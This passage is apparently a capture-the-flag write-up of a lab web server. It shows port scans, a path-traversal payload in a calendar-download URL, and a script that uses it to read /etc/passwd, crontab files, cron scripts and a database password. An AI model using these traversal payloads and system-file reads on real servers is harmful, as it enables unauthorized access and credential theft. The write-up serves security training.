<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">sudo nmap --min-rate 1000 -p- 10.129.231.153</span>
<span class="cmd-output">
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-18 21:01 ACDT
Nmap scan report for 10.129.231.153
Host is up (0.28s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 74.29 seconds
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/yummy</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">sudo nmap -A -p 22,80 10.129.231.153</span>
<span class="cmd-output">
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-18 21:09 ACDT
Nmap scan report for 10.129.231.153
Host is up (0.28s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
|_  256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
80/tcp open  http    Caddy httpd
|_http-server-header: Caddy
|_http-title: Did not follow redirect to http://yummy.htb/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 (96%), Linux 3.2 - 4.14 (96%), Linux 4.15 - 5.19 (96%), Linux 2.6.32 - 3.10 (96%), Linux 2.6.32 - 3.5 (94%), Linux 2.6.32 - 3.13 (94%), Linux 5.0 (94%), Linux 5.0 - 5.14 (94%), MikroTik RouterOS 6.36 - 6.48 (Linux 3.3.5) (93%), Android 9 - 10 (Linux 4.9 - 4.14) (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   276.66 ms 10.10.14.1
2   275.64 ms 10.129.231.153

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.96 seconds
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Only web and SSH are open. What’s interesting here is that the server isn’t running Apache or Nginx, but instead something called <a href="https://caddyserver.com/">Caddy</a>. The domain name <code class="language-plaintext highlighter-rouge">yummy.htb</code> is also identified, which I’ll add to /etc/hosts.</p>

<h3 id="tcp80---http">TCP80 - HTTP:</h3>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/yummy/main_page.png?raw=true" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">yummy.htb</code> is a restaurant. A form is shown when clicking “book a table”.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/yummy/booking.png?raw=true" alt="" /></p>

<p>I can submit the form to reserve a table, but looks like I need an account to manage them.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/yummy/book_success.png?raw=true" alt="" /></p>

<p>The app allows user registration, so I’ll register an account and log in. At <code class="language-plaintext highlighter-rouge">/dashboard</code>, I can see all the bookings I’ve made.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/yummy/dashboard.png?raw=true" alt="" /></p>

<p>Clicking “save icalendar” results in an <code class="language-plaintext highlighter-rouge">.ics</code> file download.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/yummy</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">cat Yummy_reservation_20250218_113329.ics</span>
<span class="cmd-output">
BEGIN:VCALENDAR
VERSION:2.0
PRODID:ics.py - http://git.io/lLljaA
BEGIN:VEVENT
DESCRIPTION:Email: ch3ng@ch3ng.com\nNumber of People: 5\nMessage: testing
DTSTART:20250218T000000Z
SUMMARY:ch3ng
UID:7e399555-c47e-4404-a109-60c5d39a4765@7e39.org
END:VEVENT
END:VCALENDAR
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>I see nothing notable in the file, but the download request to <code class="language-plaintext highlighter-rouge">/export/Yummy_reservation_&lt;timestamp&gt;.ics</code> caught my attention. Since the exact filename was used, I suspect the backend server directly uses it to grab the file, making path traversal and local file read possible. I intercepted another download request and changed the path to <code class="language-plaintext highlighter-rouge">/export/../../../../../../etc/passwd</code>, and it worked.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/yummy/burp_lfi.png?raw=true" alt="" /></p>

<p>Note that this only works with direct interception in Burp, the request would fail if using Burp repeater. The reason for this is that the download request requires a one-time use <code class="language-plaintext highlighter-rouge">session</code> cookie, which is obtained from a prior GET request to <code class="language-plaintext highlighter-rouge">/reminder/&lt;id&gt;</code>.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/yummy/burp_session.png?raw=true" alt="" /></p>

<p>Speaking of cookies, I’ve also decoded <code class="language-plaintext highlighter-rouge">X-AUTH-Token</code>, which is the main cookie used for authentication. Surprisingly, it contains the RSA modulus (<code class="language-plaintext highlighter-rouge">n</code>) and exponent (<code class="language-plaintext highlighter-rouge">e</code>). While these values are considered “public” in RSA encryption, it’s kind of unusual to see it included in a JWT — something worth revisiting later.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/yummy/jwt_decode.png?raw=true" alt="" /></p>

<hr />
<h2 id="exploitation">Exploitation:</h2>
<h3 id="path-traversal">Path Traversal:</h3>

<p>Since it involves multiple requests, I created a Python script to automate the process. It can be downloaded <a href="https://github.com/ch3ng625/CTF-scripts/blob/main/HTB/Yummy/file_read.py">here</a>. The script runs on an infinite loop and prints out the specified files, provided it exists and have read permission.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/yummy</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">python file_read.py 'ch3ng@ch3ng.com' 'ch3ng'</span>
<span class="cmd-output">
[*] Authenticating...
[+] Authentication successful.
[+] Booking reference found: 21.
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">[*] Full path of file to read: (enter 'exit' to quit)
&gt;&gt;</span></span> <span class="custom-cmd">/etc/passwd</span>

<span class="custom-output">File read successful:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
dev:x:1000:1000:dev:/home/dev:/bin/bash
mysql:x:110:110:MySQL Server,,,:/nonexistent:/bin/false
caddy:x:999:988:Caddy web server:/var/lib/caddy:/usr/sbin/nologin
postfix:x:111:112::/var/spool/postfix:/usr/sbin/nologin
qa:x:1001:1001::/home/qa:/bin/bash
_laurel:x:996:987::/var/log/laurel:/bin/false</span>

<span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">[*] Full path of file to read: (enter 'exit' to quit)
&gt;&gt;</span></span> <span class="custom-cmd"></span></pre>
  </div>
</div>

<p>It has two console users: <code class="language-plaintext highlighter-rouge">dev</code> and <code class="language-plaintext highlighter-rouge">qa</code>. However, I cannot read their private keys nor the flag.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">[*] Full path of file to read: (enter 'exit' to quit)
&gt;&gt;</span></span> <span class="custom-cmd">/home/qa/user.txt</span>

<span class="custom-output">[-] Failed to read file</span>

<span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">[*] Full path of file to read: (enter 'exit' to quit)
&gt;&gt;</span></span> <span class="custom-cmd">/home/dev/user.txt</span>

<span class="custom-output">[-] Failed to read file</span>

<span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">[*] Full path of file to read: (enter 'exit' to quit)
&gt;&gt;</span></span> <span class="custom-cmd">/home/qa/.ssh/id_rsa</span>

<span class="custom-output">[-] Failed to read file</span>

<span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">[*] Full path of file to read: (enter 'exit' to quit)
&gt;&gt;</span></span> <span class="custom-cmd">/home/dev/.ssh/id_rsa</span>

<span class="custom-output">[-] Failed to read file</span></pre>
  </div>
</div>

<p>The <a href="https://caddyserver.com/docs/conventions">Caddy config file</a> is also readable, but does not contain anything useful.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">[*] Full path of file to read: (enter 'exit' to quit)
&gt;&gt;</span></span> <span class="custom-cmd">/etc/caddy/Caddyfile</span>

<span class="custom-output">File read successful:
:80 {
    @ip {
        header_regexp Host ^(\d{1,3}\.){3}\d{1,3}$
    }
    redir @ip http://yummy.htb{uri}
    reverse_proxy 127.0.0.1:3000 {
    header_down -Server  
    }
}</span></pre>
  </div>
</div>

<h3 id="cron-jobs">Cron Jobs:</h3>

<p><code class="language-plaintext highlighter-rouge">/etc/crontab</code> can be read too, and it listed 3 frequent cron jobs, two of which runs every minute.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">[*] Full path of file to read: (enter 'exit' to quit)
&gt;&gt;</span></span> <span class="custom-cmd">/etc/crontab</span>

<span class="custom-output">File read successful:
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root	cd / &amp;&amp; run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || { cd / &amp;&amp; run-parts --report /etc/cron.daily; }
47 6	* * 7	root	test -x /usr/sbin/anacron || { cd / &amp;&amp; run-parts --report /etc/cron.weekly; }
52 6	1 * *	root	test -x /usr/sbin/anacron || { cd / &amp;&amp; run-parts --report /etc/cron.monthly; }
#
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh</span></pre>
  </div>
</div>

<p><code class="language-plaintext highlighter-rouge">dbmonitor.sh</code> is checking the status of the MySQL service:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>

<span class="nv">timestamp</span><span class="o">=</span><span class="si">$(</span>/usr/bin/date<span class="si">)</span>
<span class="nv">service</span><span class="o">=</span>mysql
<span class="nv">response</span><span class="o">=</span><span class="si">$(</span>/usr/bin/systemctl is-active mysql<span class="si">)</span>

<span class="k">if</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$response</span><span class="s2">"</span> <span class="o">!=</span> <span class="s1">'active'</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
    /usr/bin/echo <span class="s2">"{</span><span class="se">\"</span><span class="s2">status</span><span class="se">\"</span><span class="s2">: </span><span class="se">\"</span><span class="s2">The database is down</span><span class="se">\"</span><span class="s2">, </span><span class="se">\"</span><span class="s2">time</span><span class="se">\"</span><span class="s2">: </span><span class="se">\"</span><span class="nv">$timestamp</span><span class="se">\"</span><span class="s2">}"</span> <span class="o">&gt;</span> /data/scripts/dbstatus.json
    /usr/bin/echo <span class="s2">"</span><span class="nv">$service</span><span class="s2"> is down, restarting!!!"</span> | /usr/bin/mail <span class="nt">-s</span> <span class="s2">"</span><span class="nv">$service</span><span class="s2"> is down!!!"</span> root
    <span class="nv">latest_version</span><span class="o">=</span><span class="si">$(</span>/usr/bin/ls <span class="nt">-1</span> /data/scripts/fixer-v<span class="k">*</span> 2&gt;/dev/null | /usr/bin/sort <span class="nt">-V</span> | /usr/bin/tail <span class="nt">-n</span> 1<span class="si">)</span>
    /bin/bash <span class="s2">"</span><span class="nv">$latest_version</span><span class="s2">"</span>
<span class="k">else
    if</span> <span class="o">[</span> <span class="nt">-f</span> /data/scripts/dbstatus.json <span class="o">]</span><span class="p">;</span> <span class="k">then
        if </span><span class="nb">grep</span> <span class="nt">-q</span> <span class="s2">"database is down"</span> /data/scripts/dbstatus.json 2&gt;/dev/null<span class="p">;</span> <span class="k">then</span>
            /usr/bin/echo <span class="s2">"The database was down at </span><span class="nv">$timestamp</span><span class="s2">. Sending notification."</span>
            /usr/bin/echo <span class="s2">"</span><span class="nv">$service</span><span class="s2"> was down at </span><span class="nv">$timestamp</span><span class="s2"> but came back up."</span> | /usr/bin/mail <span class="nt">-s</span> <span class="s2">"</span><span class="nv">$service</span><span class="s2"> was down!"</span> root
            /usr/bin/rm <span class="nt">-f</span> /data/scripts/dbstatus.json
        <span class="k">else</span>
            /usr/bin/rm <span class="nt">-f</span> /data/scripts/dbstatus.json
            /usr/bin/echo <span class="s2">"The automation failed in some way, attempting to fix it."</span>
            <span class="nv">latest_version</span><span class="o">=</span><span class="si">$(</span>/usr/bin/ls <span class="nt">-1</span> /data/scripts/fixer-v<span class="k">*</span> 2&gt;/dev/null | /usr/bin/sort <span class="nt">-V</span> | /usr/bin/tail <span class="nt">-n</span> 1<span class="si">)</span>
            /bin/bash <span class="s2">"</span><span class="nv">$latest_version</span><span class="s2">"</span>
        <span class="k">fi
    else</span>
        /usr/bin/echo <span class="s2">"Response is OK."</span>
    <span class="k">fi
fi</span>

<span class="o">[</span> <span class="nt">-f</span> dbstatus.json <span class="o">]</span> <span class="o">&amp;&amp;</span> /usr/bin/rm <span class="nt">-f</span> dbstatus.json
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">table_cleanup.sh</code> restores the SQL database used by the web app. It also exposed the DB credentials.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/sh</span>

/usr/bin/mysql <span class="nt">-h</span> localhost <span class="nt">-u</span> chef yummy_db <span class="nt">-p</span><span class="s1">'3wDo7gSRZIwIHRxZ!'</span> &lt; /data/scripts/sqlappointments.sql
</code></pre></div></div>

<p>I can also read the SQL script, but all it does is insert dummy appointments with no sensitive information. It looks like part of HTB’s cleanup process, so I’m not sure if this is meant to be readable.</p>

